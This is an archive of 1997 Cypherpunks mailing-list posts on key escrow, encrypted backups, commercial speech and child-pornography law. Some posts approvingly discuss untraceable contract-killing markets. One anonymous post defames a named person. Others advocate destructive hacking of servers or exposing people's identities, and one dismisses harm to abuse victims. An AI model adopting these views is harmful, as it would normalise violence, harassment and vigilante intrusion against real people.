> I doubt these children consented to the sexual activity. I doubt they 
> consented to being photographed. I doubt they consented to the pictures 
> being distributed to others.

Most of these children are adults now.  A great many of them are 
grandmothers.  Yet I see no prosecutions for the distribution of 
images by the supposed victims.

> I am sure this affects the 
> emotional/psychological state of the child victim in many ways beyond 
> what most of us can understand. I think we can all agree that is creates 
> a less-than-optimal psychological state in the children.

Produce a victim and you will find it a lot easier to prosecute.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 11 Jun 1997 01:32:14 +0800
To: Marc Horowitz <marc@cygnus.com>
Subject: Re: Access to Storage and Communication Keys
In-Reply-To: <Bill Stewart's message of Mon, 09 Jun 1997 00:09:38 -0700>
Message-ID: <3.0.1.32.19970610090503.00747630@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:06 PM 6/9/97 -0400, Marc Horowitz wrote:
>To me, mail encryption is not communications encryption.  The mail
>message is encrypted, just like a file might be.  Then those encrypted
>bits are sent over the net.  It is precisely because I have access to
>the ciphertext as a separate entity that this is not communications
>encryption.

An interesting perspective, but I don't know that it works.
For this to make sense, either the business needs to have access to
the stored received email if the user gets run over by a police car,
or else the business needs to know that it doesn't _need_ access -
either because the mail isn't business related, or because the
business-related parts have been transferred to other systems
using a convenient user interface.

On the other hand, if receiving email with encrypted attachments
is _in_convenient to store in a mail system, maybe it will help
encourage people not to use that mail system for storing messages,
or to junk the mail system entirely :-)  (I'm thinking here of systems
like IBM PROFS and Microsoft Mail, which both encourage storage
in their monolithic mailboxes.

>The *only* reason to escrow communications keys is to spy on people;
>there is never an opportunity for data loss here.
Yeah!  (Actually, the other reason to escrow them is because
you're using the same keys for communication and storage,
and you have potentially decent business reasons for backup
of storage keys, but that's only the case if you're not using
a sufficiently flexible cryptosystem and are using key backup
instead of data backup, which is really the preferred approach anyway.)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Wed, 11 Jun 1997 00:21:49 +0800
To: Tim May <cypherpunks@cyberpass.net
Subject: Re: Fraud and free speech
In-Reply-To: <199706082331.SAA10511@mailhub.amaranth.com>
Message-ID: <v03007852afc32baeb7d6@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:27 PM -0700 6/8/97, Tim May wrote:
>(Oh, and it almost goes without saying that the same "lies" William and
>others are so worried about in "commercial" speech happen all the time in
>non-commerical speech. For every example of where commercial speech
>involves lies or fraud, I can find similar or fully equivalent
>non-commercial examples, ranging from lies like "I love you" to get a
>partner into bed to deliberate misstatements to mislead an opponent. Why
>should such "lies" be protected while putatively commercial speech is to be
>subjected to an increasing number of limitations?)

The only justification I can think of off hand is that a presumption of
truth may make for more efficient markets.  On the other hand, it also has
very bad effects when applied to political speech.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 11 Jun 1997 00:29:03 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Fraud and free speech
In-Reply-To: <v03102804afc0fc8e1db0@[207.167.93.63]>
Message-ID: <v03102817afc32d50dc85@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:06 AM -0700 6/10/97, Bill Frantz wrote:
>At 5:27 PM -0700 6/8/97, Tim May wrote:
>>(Oh, and it almost goes without saying that the same "lies" William and
>>others are so worried about in "commercial" speech happen all the time in
>>non-commerical speech. For every example of where commercial speech
>>involves lies or fraud, I can find similar or fully equivalent
>>non-commercial examples, ranging from lies like "I love you" to get a
>>partner into bed to deliberate misstatements to mislead an opponent. Why
>>should such "lies" be protected while putatively commercial speech is to be
>>subjected to an increasing number of limitations?)
>
>The only justification I can think of off hand is that a presumption of
>truth may make for more efficient markets.  On the other hand, it also has
>very bad effects when applied to political speech.

I was speaking of justifications in the Constitution.

There is of course a little phrase about "the power to regulate commerce,"
by which was meant (until this century) the power to set tariffs and a very
few other things related to commerce.

This century, though, this clause has been used to to what I think are
severely unconstitutional things, like place restrictions on certain items
(tobacco, alchohol, drugs). And advertising. And the airwaves. And so on. A
pernicious reach by Congress into the choices of vendors and consumers.

As for Bill's point that a mandate on truth would possibly make for more
efficient markets, I doubt it. Who determines truth? And a populace which
believes everything it is told must be true because the government requires
truth will necessarily lose critical thinking abilities.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 11 Jun 1997 00:52:24 +0800
To: cypherpunks@cyberpass.net
Subject: Untraceable Contract Killings
In-Reply-To: <Pine.GSO.3.95.970609112236.19258B-100000@cp.pathfinder.com>
Message-ID: <v03102818afc32f6b5b30@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:02 AM -0700 6/10/97, Anonymous wrote:
>Declan McCullagh <declan@well.com> wrote:
>
>        Moral issues aside, one of the problems plaguing
>        Bell's scheme is that it's not limited to
>        eliminating "government thugs who violate your
>        rights," as he likes to describe it. If it
>        existed, anyone with some spare change could
>        wipe out a nosy neighbor or even an irritating
>        grocery store clerk.
>
>Not likely, but for another reason.  Assuming you had the money to take
>out your neighbor, it's going to be fairly obvious who did it.  (How many
>neighbors do you have?  Pretty short list of suspects.)

Nonsense. The mechanisms for arranging the hit are untraceable. Thus, it
hardly matters who the "suspects" are, as nothing is provable. (Assuming no
implicating ephemera are left lying around on disk drives....)

By the way, this is not really Bell's "assassination politics," this is
just anonymous contract killings, known about to some of us since Chaum's
work was first published...cf. my own "Crypto Anarchist Manifesto," 1988.

I may sound touchy on this issue, but I'm seeing more and more articles
here and relayed from outside essentially giving Bell the credit for
inventing these kinds of markets, when in fact he's a relative latecomer.

--Tim May




There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 11 Jun 1997 01:19:11 +0800
To: Adam Shostack <adam@homeport.org>
Subject: Re: With friends like these...
In-Reply-To: <199706091928.MAA01854@fat.doobie.com>
Message-ID: <3.0.1.32.19970610093059.00747630@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:31 PM 6/9/97 -0400, Adam Shostack wrote:
>Yes, these are our freinds.  They are attacking key recovery where its
>being sold; namely to companies.  And the report is damned effective
>at selling companies that 'the best cryptographers in the world'
>oppose this.  Its been very useful to me for that already.

Yeah.  They don't need to attack on the libertarian issues -
not only have they done that already (:-), but that's a political belief,
and their report is addressing the business issues that the government
is trying to use as a crowbar to get government access wedged into
the public's key management and crypto systems.
If Clipper 3 and Clipper 4 are bad technically, and bad economically,
businesses won't widely adopt it and push it on the public,
and they won't buy it enough for mass-market economies of scale
to kick in the way they do with MSDOS or SSNs-as-credit-identifiers.

Addressing the obvious blatant civil liberties bogosity of
the Clipper N programs is a job for a different audience,
and for speakers with a different sets of hats on - 
you wear the technical hat to say "Clipper N is broken technically",
as Matt Blaze et al. did for Clipper 1, and you wear the
respected-technical-consultants-to-business hat to say
"You can't trust this system with your money or trade secrets",
and you wear your civil liberties hat to say "Stop Big Brother!".
Our friends here are addressing the business audience,
so they're wearing the business-related hats.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Wed, 11 Jun 1997 00:43:58 +0800
To: cypherpunks@Algebra.COM
Subject: Re: None
In-Reply-To: <199706101102.NAA05299@basement.replay.com>
Message-ID: <Pine.GSO.3.96.970610093133.10417A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 10 Jun 1997, Anonymous wrote:

> The possibility of Microsoft killing their competition's engineers is
> somewhat more realistic, although lately they've been hiring a lot of
> them instead, so maybe they don't want to kill them. :)

"Ve have veys ov making you vork for us!"

Adds a new twist to hiring practices...  Work for us or not at all.

"Microsoft Mach Frie!"

alano@teleport.com|"The only secure system is one run over by a steamroller."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 11 Jun 1997 01:13:09 +0800
To: cypherpunks@Algebra.COM
Subject: Macht frei or make fries?
In-Reply-To: <199706101102.NAA05299@basement.replay.com>
Message-ID: <v03102819afc337e65946@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:34 AM -0700 6/10/97, Alan wrote:
>On Tue, 10 Jun 1997, Anonymous wrote:
>
>> The possibility of Microsoft killing their competition's engineers is
>> somewhat more realistic, although lately they've been hiring a lot of
>> them instead, so maybe they don't want to kill them. :)
>
>"Ve have veys ov making you vork for us!"
>
>Adds a new twist to hiring practices...  Work for us or not at all.
>
>"Microsoft Mach Frie!"

I don't think MS is using the Mach kernel...

Maybe you meant "Microsoft macht frei!"

Or "McDonald's Makes Fries!"

Or, speaking of the Mach kernel,

Kernel Jerry Sanders finger-lickin' good tasty bytes.


--Klaus! von Future Prime

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carl Ellison <cme@cybercash.com>
Date: Tue, 10 Jun 1997 23:01:05 +0800
To: dccp@eff.org
Subject: privacy discussion on today's TOTN
Message-ID: <3.0.1.32.19970610103445.00913710@cybercash.com>
MIME-Version: 1.0
Content-Type: text/plain



NPR's Talk of the Nation, today at 14:00 EDT, will discuss privacy issues.

+------------------------------------------------------------------+
|Carl M. Ellison  cme@cybercash.com   http://www.clark.net/pub/cme |
|CyberCash, Inc.                      http://www.cybercash.com/    |
|207 Grindall Street   PGP 2.6.2: 61E2DE7FCB9D7984E9C8048BA63221A2 |
|Baltimore MD 21230-4103  T:(410) 727-4288  F:(410)727-4293        |
+------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cypherpunks@Algebra.COM
Date: Tue, 10 Jun 1997 23:00:05 +0800
Subject: blue, blue, 'lectric blue
Message-ID: <m0wbS6E-00001rC@conflict.engr.ucf.edu>
MIME-Version: 1.0
Content-Type: text/plain



Blue Lister's Nuked!  Blue Lister's Nuked!

First round's on Ian.  Second round we puked!

http://nethomes.com/lectric





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 11 Jun 1997 02:49:14 +0800
To: cryptography@c2.net
Subject: Re: Access to Storage and Communication Keys
In-Reply-To: <3.0.1.32.19970610090503.00747630@popd.ix.netcom.com>
Message-ID: <19970610112926.04400@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, Jun 10, 1997 at 12:12:36PM -0700, Phil Helms wrote:
> On Tue, 10 Jun 1997, Bill Stewart wrote:
> 
> > and you have potentially decent business reasons for backup
> > of storage keys, but that's only the case if you're not using
> > a sufficiently flexible cryptosystem and are using key backup
> > instead of data backup, which is really the preferred approach anyway.)
> 
> I could envision situations where you wouldn't want to backup plaintext,
> but only ciphertext.  In those situations, key backup would also be
> necessary.  This would require the use of passphrases or some other
> tokens to utilize the backed up keys.

If you have data you wish to guard from disclosure I think that in
most circumstances you want to back up ciphertext.  It is a *lot*
cheaper to secure a piece of paper with a passphrase on it (in a safe
deposit box, for example) than it is guard a gigabyte of backup tapes. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Phil Helms <phil@cccs.cccoes.edu>
Date: Wed, 11 Jun 1997 02:26:40 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Access to Storage and Communication Keys
In-Reply-To: <3.0.1.32.19970610090503.00747630@popd.ix.netcom.com>
Message-ID: <Pine.PMDF.3.95.970610115750.618690139C-100000@cccs.cccoes.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 10 Jun 1997, Bill Stewart wrote:

> and you have potentially decent business reasons for backup
> of storage keys, but that's only the case if you're not using
> a sufficiently flexible cryptosystem and are using key backup
> instead of data backup, which is really the preferred approach anyway.)

I could envision situations where you wouldn't want to backup plaintext,
but only ciphertext.  In those situations, key backup would also be
necessary.  This would require the use of passphrases or some other
tokens to utilize the backed up keys.

 --
 Phil Helms                                  Internet: phil@cccs.cccoes.edu
 Community College Computer Services                    Phone: 303/595-1524
 Denver, Colorado                                         FAX: 303/620-4697





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Wed, 11 Jun 1997 02:49:11 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: Hash functions
In-Reply-To: <199706101740.TAA27226@basement.replay.com>
Message-ID: <Pine.A41.3.95.970610123029.52228A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



I think Vulis needs each of us to send ten copies of this back to him.

On Tue, 10 Jun 1997, Anonymous wrote:

> Given Tim May's propensity to molest little children, is it 
> any surprise that the state of California wants to have him 
> castrated?
> 
>       _  o
>      |<)_/# Tim May
>      TT  <T
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Theodor.SCHLICKMANN@bxl.dg13.cec.be
Date: Tue, 10 Jun 1997 19:10:47 +0800
To: <cypherpunks@Algebra.COM>
Subject: Re(2): With friends like these...
Message-ID: <WIN2359-970610105956-28E3*/G=Theodor/S=SCHLICKMANN/OU=BXL/O=DG13/PRMD=CEC/ADMD=RTT/C=BE/@MHS>
MIME-Version: 1.0
Content-Type: text/plain




We have to live with the fact that industry has a janus head.
On one hand - and here we should follow their example - they 
are reluctant to allow somebody else to keep their keys in trust.
On the other hand - in contradiction to the previous - they 
invest in development of key escrow systems including key 
management protocols which allow third parties having 
uncontrolled access to keys.

Theodor Schlickmann
  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 10 Jun 1997 19:09:33 +0800
To: cypherpunks@cyberpass.net
Subject: NoneRe: Assassination Politics as revenge fantasy (Re: FCPUNX:McVeigh)
In-Reply-To: <Pine.GSO.3.95.970609112236.19258B-100000@cp.pathfinder.com>
Message-ID: <199706101102.NAA05299@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@well.com> wrote:

        Moral issues aside, one of the problems plaguing
        Bell's scheme is that it's not limited to
        eliminating "government thugs who violate your
        rights," as he likes to describe it. If it
        existed, anyone with some spare change could
        wipe out a nosy neighbor or even an irritating
        grocery store clerk.

Not likely, but for another reason.  Assuming you had the money to take
out your neighbor, it's going to be fairly obvious who did it.  (How many
neighbors do you have?  Pretty short list of suspects.)

Also, killing some nobody in a grocery store is more prone to error, and
less widely witnessed, and therefore harder to collect payment on, thus
less profitable.

The possibility of Microsoft killing their competition's engineers is
somewhat more realistic, although lately they've been hiring a lot of
them instead, so maybe they don't want to kill them. :)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 11 Jun 1997 05:19:20 +0800
To: cryptography@c2.net
Subject: Re: Access to Storage and Communication Keys
In-Reply-To: <19970610112926.04400@bywater.songbird.com>
Message-ID: <19970610134844.39484@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, Jun 10, 1997 at 03:20:27PM -0400, Ray Arachelian wrote:
> On Tue, 10 Jun 1997, the spooks made the tentacle named Kent Crispin
> write the following bad advice:
> 
> > If you have data you wish to guard from disclosure I think that in
> > most circumstances you want to back up ciphertext.  It is a *lot*
> > cheaper to secure a piece of paper with a passphrase on it (in a safe
> > deposit box, for example) than it is guard a gigabyte of backup tapes. 
> 
> BBBBZZZZZZZZZT!  Wrong!

> Passphrases can be memorized.

Chinese proverb: "The strongest memory is weaker than faded ink".

>  4mm DAT tapes hold several gigs and are
> tiny.

[excoriating exposure of my stupidity deleted]

You're right -- I misspoke.  I confess that I don't pay much attention
to tape technology.  I was just thinking about the robotic silos at
work -- of course, they hold a lot more than gigabytes -- individual
data files on them are frequently many gigabytes.  In this environment
(admittedly atypical, though some commercial enterprises are probably 
at least as large) it would clearly be cheaper to guard keys than it 
would be to guard the tapes.  But they guard the tapes anyway.

[long tape tutorial deleted]

> But you can leave the tapes unprotected in clear view of the world. 
> They're useless to those that don't have the passphrase.  Hence it costs
> you $0.0 to secure tapes that hold strongly encrypted information.  It
> costs a lot more to protect that said piece of paper.

After all that humiliation, thank you for exactly making my point. 
You guard the keys, you don't guard the tapes.

> If you are paranoid, you could encrypt your backup with a
> different cypher.  (i.e. use IDEA on the hard drive, then backup and
> encrypt the encrypted drive with 3DES and Blowfish, all using different
> passphrases.)

Ah yes, remembering *all* those passphrases, and what happens if you 
forget? 

> Yes, you can write your passphrase on paper, but if someone finds it you
> are screwed.

You are screwed if you forget it, to.  Either eventuality can be 
disastrous, depending on the circumstances.  For many types of data 
losing access to the data is a far bigger disaster than unauthorized 
exposure. 

> Giving such advice is dangerous.  It is as if you told
> someone to put a PostIt(tm) note with their account and password on their
> monitor, or to use their birthday as their password, or their dog's name.
> Paper is very easily compromised.  Weak passwords and passphrases are also
> easily compromised.

I am quite familiar with all these issues, Ray.

The scheme is that you write the passphrase on a piece of paper, and 
put the paper in a vault.  This reduces the risk of loss of access, 
and increases the risk of exposure.  In real environments you 
evaluate both risks.  Put it in other terms:  you have $1000000000 in 
untraceable ecash sitting encrypted on your disk.  Which is worse: 
having it stolen, or losing the key that decrypts it?  The answer is, 
they are equally bad.

Indeed you can use secret sharing techniques to hide the key -- for 
$1000000000 I probably would.  For all the secrets I currently know, 
putting the key in a vault is sufficient security.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 11 Jun 1997 05:28:13 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <199706102120.OAA12245@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain




tzeruch@ceddec.com righteously writes:

> Looking at synthetic child porn may be purely a thought crime, but it
> involves breaking a lot of societal taboos.  If someone does not have the
> self-restraint to not look at mere pictures, will they have the restraint
> to avoid comitting actual crimes?

> Although you can argue that people may be able to look without touching,
> the reason they are looking in the first place involves a release of the
> beast within.  How many such people are we willing to trust to keep that
> beast on the chain.  The law is currently structured to answer "none" to
> this question, and this may be the proper answer.

Hear, hear, brother!

Also, all womenfolk should be required to cover up their entire bodies
as well as their faces whenever they're in public or in contact with any
male above the age of puberty, even unto their male relatives.  If one
of these men doesn't have the self-restraint to not look at the woman
in the first place, will he have the restraint to keep from raping her?

After all, the reason they are looking in the first place involves a
release of the beast within.  How many such people are we willing to
trust to keep that beast on the chain?  "None" is again the proper
answer of course.


> This does not mean that I am any less a civil-cyber-libertarian

No, of course not.  How could anyone have thought so?


Praise God, brother.


Scrupulus






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Wed, 11 Jun 1997 03:02:30 +0800
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: My War
In-Reply-To: <Pine.BSI.3.91.970608231331.29324F-100000@kizmiaz.dis.org>
Message-ID: <97Jun10.144116edt.32257-1@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 9 Jun 1997, se7en wrote:

> Yes, I am advocating malicious, destructive hacking activity against 
> these people. Who are they going to run to? The police? "They hacked my 
> kiddie porn server and rm -rf'd my computer!" Right...the police will be 
> so anxious to lock us up left and right.

Why not simply trace them down to something close to their identity, and
when confirmed, simply email the newspaper website nearest them.  Why rm
-rf when you can get whatever ID information from the very same hard
drive?  I think this would be a proper, proportional response since the
authorities will do more damage since it won't involve just the computer. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 11 Jun 1997 03:34:23 +0800
To: Kent Crispin <kent@songbird.com>
Subject: BAD ADVICE WARNING from Kent: Access to Storage and Communication Keys
In-Reply-To: <19970610112926.04400@bywater.songbird.com>
Message-ID: <Pine.SUN.3.96.970610145359.9093F-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 10 Jun 1997, the spooks made the tentacle named Kent Crispin
write the following bad advice:

> If you have data you wish to guard from disclosure I think that in
> most circumstances you want to back up ciphertext.  It is a *lot*
> cheaper to secure a piece of paper with a passphrase on it (in a safe
> deposit box, for example) than it is guard a gigabyte of backup tapes. 

BBBBZZZZZZZZZT!  Wrong!

Passphrases can be memorized.  4mm DAT tapes hold several gigs and are
tiny.  Ever see one?  Fits in your pocket.  It's smaller that an audio
cassette. Fairly easy to guard, but, if your data is backed up in
encrypted form (cyphertext), and not clear text, you don't even need to
bother protecting the tape. (That is unless your backup software uses a
weak cypher as most tend to do.)  [FYI: Your knowledge of tape
technologies is severly lacking. 4mm tapes hold 2-4Gb.  Exabytes 5Gb-10Gb. 
Mamouth Exabytes (same size as 8mm camcorder video tapes, smaller than
audio cassettes) hold as much as 40Gb in a very small form factor.]

Or if you are afraid of loss to EMI and such, backup to MO media, or to
CDR media.  You can get 4Gb MO's these days fairly cheap, and since
they're just like hard drives you don't need to use backup software.
They're impervious to accidental wiping by magnetic waves, and they're
rewriteable, which means you don't have to pay much money to do new
backups.  OTOH, they are rewriteable, you might want to burn CD's, which
only store 650M, but two of them will easily store 1.2Gb, and prevent
loss by erasure.  At less than $6 in bulk this is very cheap.  You sti.l
have to protect the media from heat, direct sunlight, dust, scratches,
liquids, etc...

The best way to go is to have an encrypted volume, unmount the volume
before backing it up, and backup the sectors on the volume instead of
individual files.  To be safe, I'd run several backups since if the tape
goes bad on a spot that holds inodes, you've lost several directories...

But you can leave the tapes unprotected in clear view of the world. 
They're useless to those that don't have the passphrase.  Hence it costs
you $0.0 to secure tapes that hold strongly encrypted information.  It
costs a lot more to protect that said piece of paper.  (I would still
advocate keeping a set of tapes offsite in case of fire or other local
physical disaster - but the security risk of keeping them unsecured is
still zero if you are using a good hard drive encryptor that uses strong
crypto.)  If you are paranoid, you could encrypt your backup with a
different cypher.  (i.e. use IDEA on the hard drive, then backup and
encrypt the encrypted drive with 3DES and Blowfish, all using different
passphrases.)

Yes, you can write your passphrase on paper, but if someone finds it you
are screwed.  Giving such advice is dangerous.  It is as if you told
someone to put a PostIt(tm) note with their account and password on their
monitor, or to use their birthday as their password, or their dog's name.
Paper is very easily compromised.  Weak passwords and passphrases are also
easily compromised.

If you want to protect your passphrase agaist memory failures (human
memory that is), break it up with a secure split function, and save it to
disk (or print it out in hex), then give a piece to each of several
trusted parties - who do not know each other. Something along the lines of
a K of N system where you'd need 5 pieces out of 8 to restore the
passphrase.  

Oh, and those trusted parties should not be government agencies for the
simple reason of how beurocracies work. One could be a safety deposit box,
another could be a family lawyer (but make sure it's not a big agency),
another a cousin in a differnet city, another a neighbor, etc...  

(I.E. I wouldn't leave anything with the CIA - see the news headlines for
all the reports of double agents bought off by the Russians, etc... though
it is more likely that the NSA would be safer place to store, either
because it has better controls on the data, or more likely because reports
of double agents there never reached the media...)  Still I wouldn't go
that route, though you personally might.  In general, you don't want to
leave them in the hands of corporations/agencies where folks getting paid
$5.50/hour can be easily bribed, or leaned on, or rubberhose persuaded, or
sold to the "If you knew what I knew" and "I'm from your government and
here to help you" lines.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Wed, 11 Jun 1997 03:56:31 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Thoughtcrime   (Re: My War)
In-Reply-To: <3.0.2.32.19970609183534.0069ac1c@netcom13.netcom.com>
Message-ID: <97Jun10.153453edt.32257-1@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 9 Jun 1997, Lucky Green wrote:

> Furthermore, let us assume that there are a number of individuals who enjoy
> looking at hard core child pornography.
> 
> The question then is: does going after the distributors provide a benefit
> to the children being (potentially) used for such pictures?
> 
> The answer is clearly no. By limiting the distribution of an individual
> picture, you increase the total number of pictures required to satisfy
> market demand. That means more children will be required to meet demand.

This assumes that supplying the craving for pictures will not increase the
desire to do acts in the real world enough to increase the number of acts

C.S. Lewis once described society as a convoy - and that there was little
disagreement about ships not running into each other.  But he also made
the point that it may be proper to require ships to be seaworthy so they
won't run a risk of running into other ships because they cannot avoid it.

Looking at synthetic child porn may be purely a thought crime, but it
involves breaking a lot of societal taboos.  If someone does not have the
self-restraint to not look at mere pictures, will they have the restraint
to avoid comitting actual crimes?  Pornography is not like reading Rosseau
or Locke since rational enlightenment is not the goal.

Logic != Emotion

But what happens when we deal with individuals who are entirely driven by
emotions, and by the basest emotions possible?

Although you can argue that people may be able to look without touching,
the reason they are looking in the first place involves a release of the
beast within.  How many such people are we willing to trust to keep that
beast on the chain.  The law is currently structured to answer "none" to
this question, and this may be the proper answer.

With guns and explosives, there is greater likelyhood that someone will
injure themselves or their own property on a destructive binge.  This type
of expression is more benign, though I don't think it represents the
better angels of our nature.  But I see no threat to me personally from
such people.

Similarly with most drugs - if the dealers could use the courts to settle
problems like stolen merchandise there would be less violence.  I might
demand someone go to a secure area before taking a drug which will deprive
them of their reason, and not be let out until it is recovered.

But I would not want to have someone leave the two components to a binary
nerve gas on a shelf, with the owner's promise that they will never fall
off and accidentally mix, or believe that the owner will never get angry
and decide to destroy something.  Something intrinsically capable of mass
destruction is also something that can be regulated.

Something that is in and of itself a turning away from reason and giving
in to emotion, and the ultimate destination of that path if it is followed
will result in injury to others, especially innocents, is something that
should be regulated.

This form of "information" is an addictive drug, with the side effect is
that it destroys others much more than it destroys the abuser, and it
doesn't wear off after a drying out period.  (Or could I suggest that they
could watch as much as they want in a secure area, but could not get out
unless they were chemically castrated?)

This does not mean that I am any less a civil-cyber-libertarian, since I
have even more problems with current enforcement of most laws.  That is a
different issue.  I am saying that it should be illegal, not how such laws
should be enforced, and not that we should shred the constitution in
pursuit of these people.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
